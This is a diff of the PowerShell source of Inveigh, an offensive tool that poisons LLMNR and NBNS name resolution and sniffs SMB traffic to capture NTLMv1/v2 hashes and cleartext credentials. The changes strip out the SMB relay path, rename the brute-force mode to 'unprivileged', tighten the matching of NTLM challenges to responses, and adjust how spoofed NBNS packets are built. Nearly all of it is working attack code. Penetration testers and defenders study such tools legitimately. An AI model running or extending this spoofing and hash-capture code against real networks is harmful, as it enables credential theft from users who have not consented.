-    if($Challenge -or $HTTPDefaultFile -or $HTTPDefaultEXE -or $HTTPResponse -or $WPADIP -or $WPADPort -or $WPADResponse)
-    {
-        throw "-Challenge -HTTPDefaultFile, -HTTPDefaultEXE, -HTTPResponse, -WPADIP, -WPADPort, and -WPADResponse can not be used when enabling -SMBRelay"
-    }
-    elseif($HTTPAuth -ne 'NTLM' -or $WPADAuth -eq 'Basic')
-    {
-        throw "Only -HTTPAuth NTLM, -WPADAuth NTLM, and -WPADAuth Anonymous can be used when enabling -SMBRelay"
-    }
-
-}
-
 if($HTTPDefaultFile -or $HTTPDefaultEXE)
 {
 
@@ -382,17 +327,12 @@ if(!$inveigh)
     $inveigh.NTLMv2_username_list = New-Object System.Collections.ArrayList
     $inveigh.cleartext_list = New-Object System.Collections.ArrayList
     $inveigh.IP_capture_list = New-Object System.Collections.ArrayList
-    $inveigh.SMBRelay_failed_list = New-Object System.Collections.ArrayList
 }
 
 if($inveigh.running)
 {
     throw "Invoke-Inveigh is already running, use Stop-Inveigh"
 }
-elseif($inveigh.relay_running)
-{
-    throw "Invoke-InveighRelay is already running, use Stop-Inveigh"
-}
 
 $inveigh.sniffer_socket = $null
 
@@ -479,7 +419,7 @@ else
 $inveigh.status_queue.Add("Inveigh started at $(Get-Date -format 's')")  > $null
 $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh started")]) > $null
 
-$firewall_status = netsh advfirewall show allprofiles state | where {$_ -match 'ON'}
+$firewall_status = netsh advfirewall show allprofiles state | Where-Object {$_ -match 'ON'}
 
 if($firewall_status)
 {
@@ -755,56 +695,51 @@ elseif($RunTime -gt 1)
     $inveigh.status_queue.Add("Run Time = $RunTime Minutes")  > $null
 }
 
-if($SMBRelay -eq 'N')
+if($ShowHelp -eq 'Y')
 {
-
-    if($ShowHelp -eq 'Y')
-    {
-        $inveigh.status_queue.Add("Use Get-Command -Noun Inveigh* to show available functions")  > $null
-        $inveigh.status_queue.Add("Run Stop-Inveigh to stop Inveigh")  > $null
+    $inveigh.status_queue.Add("Use Get-Command -Noun Inveigh* to show available functions")  > $null
+    $inveigh.status_queue.Add("Run Stop-Inveigh to stop Inveigh")  > $null
         
-        if($inveigh.console_output)
-        {
-            $inveigh.status_queue.Add("Press any key to stop real time console output")  > $null
-        }
-
+    if($inveigh.console_output)
+    {
+        $inveigh.status_queue.Add("Press any key to stop real time console output")  > $null
     }
 
-    if($inveigh.status_output)
+}
+
+if($inveigh.status_output)
+{
+
+    while($inveigh.status_queue.Count -gt 0)
     {
 
-        while($inveigh.status_queue.Count -gt 0)
+        if($inveigh.output_stream_only)
+        {
+            Write-Output($inveigh.status_queue[0] + $inveigh.newline)
+            $inveigh.status_queue.RemoveRange(0,1)
+        }
+        else
         {
 
-            if($inveigh.output_stream_only)
-            {
-                Write-Output($inveigh.status_queue[0] + $inveigh.newline)
-                $inveigh.status_queue.RemoveRange(0,1)
-            }
-            else
+            switch ($inveigh.status_queue[0])
             {
 
-                switch ($inveigh.status_queue[0])
+                "Run Stop-Inveigh to stop Inveigh"
                 {
+                    Write-Warning($inveigh.status_queue[0])
+                    $inveigh.status_queue.RemoveRange(0,1)
+                }
 
-                    "Run Stop-Inveigh to stop Inveigh"
-                    {
-                        Write-Warning($inveigh.status_queue[0])
-                        $inveigh.status_queue.RemoveRange(0,1)
-                    }
-
-                    "Windows Firewall = Enabled"
-                    {
-                        Write-Warning($inveigh.status_queue[0])
-                        $inveigh.status_queue.RemoveRange(0,1)
-                    }
-
-                    default
-                    {
-                        Write-Output($inveigh.status_queue[0])
-                        $inveigh.status_queue.RemoveRange(0,1)
-                    }
+                "Windows Firewall = Enabled"
+                {
+                    Write-Warning($inveigh.status_queue[0])
+                    $inveigh.status_queue.RemoveRange(0,1)
+                }
 
+                default
+                {
+                    Write-Output($inveigh.status_queue[0])
+                    $inveigh.status_queue.RemoveRange(0,1)
                 }
 
             }
@@ -812,18 +747,7 @@ if($SMBRelay -eq 'N')
         }
 
     }
-}
-else
-{
-    try
-    {
-        Invoke-InveighRelay -HTTP $HTTP -HTTPS $HTTPS -HTTPSCertAppID $HTTPSCertAppID -HTTPSCertThumbprint $HTTPSCertThumbprint -WPADAuth $WPADAuth -SMBRelayTarget $SMBRelayTarget -SMBRelayUsernames $SMBRelayUsernames -SMBRelayAutoDisable $SMBRelayAutoDisable -SMBRelayNetworkTimeout $SMBRelayNetworkTimeout -SMBRelayCommand $SMBRelayCommand -Tool $Tool -ShowHelp $ShowHelp 
-    }
-    catch
-    {
-        $inveigh.running = $false        
-        throw "Invoke-InveighRelay is not loaded"
-    }
+
 }
 
 # Begin ScriptBlocks
@@ -831,6 +755,7 @@ else
 # Shared Basic Functions ScriptBlock
 $shared_basic_functions_scriptblock =
 {
+
     function DataToUInt16($field)
     {
 	   [Array]::Reverse($field)
@@ -869,6 +794,7 @@ $shared_basic_functions_scriptblock =
         $string_extract = New-Object System.String ($string_data,0,$string_data.Length)
         return $string_extract
     }
+
 }
 
 # SMB NTLM Functions ScriptBlock - function for parsing NTLM challenge/response
@@ -883,7 +809,7 @@ $SMB_NTLM_functions_scriptblock =
         $payload = $payload -replace "-",""
         $NTLM_index = $payload.IndexOf("4E544C4D53535000")
 
-        if($payload.SubString(($NTLM_index + 16),8) -eq "02000000")
+        if($NTLM_index -gt 0 -and $payload.SubString(($NTLM_index + 16),8) -eq "02000000")
         {
             $NTLM_challenge = $payload.SubString(($NTLM_index + 48),16)
         }
@@ -899,7 +825,7 @@ $SMB_NTLM_functions_scriptblock =
         $payload = $payload -replace "-",""
         $NTLMSSP_hex_offset = $payload.IndexOf("4E544C4D53535000")
 
-        if($payload.SubString(($NTLMSSP_hex_offset + 16),8) -eq "03000000")
+        if($NTLMSSP_hex_offset -gt 0 -and $payload.SubString(($NTLMSSP_hex_offset + 16),8) -eq "03000000")
         {
             $NTLMSSP_offset = $NTLMSSP_hex_offset / 2
 
@@ -1350,7 +1276,7 @@ $sniffer_scriptblock =
 
     if($RunTime)
     {    
-        $sniffer_timeout = new-timespan -Minutes $RunTime
+        $sniffer_timeout = New-TimeSpan -Minutes $RunTime
         $sniffer_stopwatch = [System.Diagnostics.Stopwatch]::StartNew()
     }
 
@@ -1397,7 +1323,16 @@ $sniffer_scriptblock =
                     {
                         if($SMB -eq 'Y')
                         {
-                            SMBNTLMResponse $payload_bytes
+
+                            if($NTLM_challenge -and $client_IP -eq $source_IP -and $client_port -eq $source_port)
+                            {
+                                SMBNTLMResponse $payload_bytes
+                            }
+
+                            $client_IP = ''
+                            $client_port = ''
+                            $NTLM_challenge = ''
+                        
                         }
                     }
 
@@ -1406,7 +1341,16 @@ $sniffer_scriptblock =
                      
                         if($SMB -eq 'Y')
                         {
-                            SMBNTLMResponse $payload_bytes
+
+                            if($NTLM_challenge -and $client_IP -eq $source_IP -and $client_port -eq $source_port)
+                            {
+                                SMBNTLMResponse $payload_bytes
+                            }
+
+                            $client_IP = ''
+                            $client_port = ''
+                            $NTLM_challenge = ''
+
                         }
                     
                     }
@@ -1422,6 +1366,8 @@ $sniffer_scriptblock =
 
                         if($SMB -eq 'Y')
                         {   
+                            $client_IP = $destination_IP 
+                            $client_port = $destination_port
                             $NTLM_challenge = SMBNTLMChallenge $payload_bytes
                         }
                     
@@ -1432,6 +1378,8 @@ $sniffer_scriptblock =
 
                         if($SMB -eq 'Y')
                         {   
+                            $client_IP = $destination_IP 
+                            $client_port = $destination_port
                             $NTLM_challenge = SMBNTLMChallenge $payload_bytes
                         }
                     
@@ -1465,8 +1413,7 @@ $sniffer_scriptblock =
                             $NBNS_response_data = $payload_bytes[13..$payload_bytes.Length] +
                                                   $NBNS_TTL_bytes +
                                                   0x00,0x06,0x00,0x00 +
-                                                  ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() +
-                                                  0x00,0x00,0x00,0x00
+                                                  ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes()
                 
                             $NBNS_response_packet = 0x00,0x89 +
                                                     $source_port[1,0] +
@@ -1553,7 +1500,7 @@ $sniffer_scriptblock =
                                 if($NBNSTypes -contains $NBNS_query_type)
                                 {
                                  
-                                    if ((!$SpooferHostsReply -or $SpooferHostsReply -contains $NBNS_query_string) -and (!$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $NBNS_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ($inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP.IPAddressToString))
+                                    if ((!$SpooferHostsReply -or $SpooferHostsReply -contains $NBNS_query_string) -and (!$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $NBNS_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ($inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP.IPAddressToString) -and ($NBNS_query_string.Trim() -ne '*'))
                                     {
                                         $send_socket.sendTo($NBNS_response_packet,$destination_point)
                                         $send_socket.Close()
@@ -1578,6 +1525,10 @@ $sniffer_scriptblock =
                                         {
                                             $NBNS_response_message = "- $source_IP is on ignore list"
                                         }
+                                        elseif($NBNS_query_string.Trim() -eq '*')
+                                        {
+                                            $NBNS_response_message = "- ignoring NBSTAT request"
+                                        }
                                         else
                                         {
                                             $NBNS_response_message = "- not spoofed due to previous capture"
@@ -1632,9 +1583,6 @@ $sniffer_scriptblock =
                                 $LLMNR_query = $LLMNR_query.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
                                 $LLMNR_query_string = New-Object System.String($LLMNR_query,0,$LLMNR_query.Length)
                             }
-
-                            
-                            $inveigh.console_queue.Add($LLMNR_query_string)
                 
                             if($LLMNR -eq 'Y')
                             {
@@ -1698,14 +1646,6 @@ $sniffer_scriptblock =
                     $inveigh.HTTP_listener.Close()
                 }
 
-                if($inveigh.relay_running)
-                {
-                    $inveigh.console_queue.Add("Inveigh Relay exited due to run time at $(Get-Date -format 's')")
-                    $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh Relay exited due to run time")])
-                    Start-Sleep -m 5
-                    $inveigh.relay_running = $false
-                } 
-
                 $inveigh.console_queue.Add("Inveigh exited due to run time at $(Get-Date -format 's')")
                 $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh exited due to run time")])
                 Start-Sleep -m 5
@@ -1837,7 +1777,7 @@ function SnifferSpoofer()
 # Startup Enabled Services
 
 # HTTP Server Start
-if(($inveigh.HTTP -or $inveigh.HTTPS) -and $SMBRelay -eq 'N')
+if($inveigh.HTTP -or $inveigh.HTTPS)
 {
     HTTPListener
 }
@@ -1850,7 +1790,7 @@ if($inveigh.console_output)
 
     if($ConsoleStatus)
     {    
-        $console_status_timeout = new-timespan -Minutes $ConsoleStatus
+        $console_status_timeout = New-TimeSpan -Minutes $ConsoleStatus
         $console_status_stopwatch = [System.Diagnostics.Stopwatch]::StartNew()
     }
 
@@ -2040,7 +1980,7 @@ function Stop-Inveigh
 
     if($inveigh)
     {
-        if($inveigh.running -or $inveigh.relay_running -or $inveigh.bruteforce_running)
+        if($inveigh.running -or $inveigh.relay_running -or $inveigh.unprivileged_running)
         {
 
             if($inveigh.HTTP_listener.IsListening)
@@ -2049,21 +1989,21 @@ function Stop-Inveigh
                 $inveigh.HTTP_listener.Close()
             }
             
-            if($inveigh.bruteforce_running)
+            if($inveigh.unprivileged_running)
             {
-                $inveigh.bruteforce_running = $false
+                $inveigh.unprivileged_running = $false
                 Write-Output("$(Get-Date -format 's') - Attempting to stop HTTP listener")
                 $inveigh.HTTP_listener.server.blocking = $false
                 Start-Sleep -s 1
                 $inveigh.HTTP_listener.server.Close()
                 Start-Sleep -s 1
                 $inveigh.HTTP_listener.Stop()
-                Write-Output("Inveigh Brute Force exited at $(Get-Date -format 's')")
-                $inveigh.log.Add("$(Get-Date -format 's') - Inveigh Brute Force exited")  > $null
+                Write-Output("Inveigh Unprivileged exited at $(Get-Date -format 's')")
+                $inveigh.log.Add("$(Get-Date -format 's') - Inveigh Unprivileged exited")  > $null
 
                 if($inveigh.file_output)
                 {
-                    "$(Get-Date -format 's') - Inveigh Brute Force exited" | Out-File $Inveigh.log_out_file -Append
+                    "$(Get-Date -format 's') - Inveigh Unprivileged exited" | Out-File $Inveigh.log_out_file -Append
                 }
 
             }
@@ -2366,12 +2306,12 @@ function Watch-Inveigh
     if($inveigh.tool -ne 1)
     {
 
-        if($inveigh.running -or $inveigh.relay_running -or $inveigh.bruteforce_running)
+        if($inveigh.running -or $inveigh.relay_running -or $inveigh.unprivileged_running)
         {
             Write-Output "Press any key to stop real time console output"
             $inveigh.console_output = $true
 
-            :console_loop while((($inveigh.running -or $inveigh.relay_running -or $inveigh.bruteforce_running) -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output))
+            :console_loop while((($inveigh.running -or $inveigh.relay_running -or $inveigh.unprivileged_running) -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output))
             {
 
                 while($inveigh.console_queue.Count -gt 0)
@@ -2468,7 +2408,7 @@ function Clear-Inveigh
     if($inveigh)
     {
 
-        if(!$inveigh.running -and !$inveigh.relay_running -and !$inveigh.bruteforce_running)
+        if(!$inveigh.running -and !$inveigh.relay_running -and !$inveigh.unprivileged_running)
         {
             Remove-Variable inveigh -scope global
             Write-Output "Inveigh data has been cleared from memory"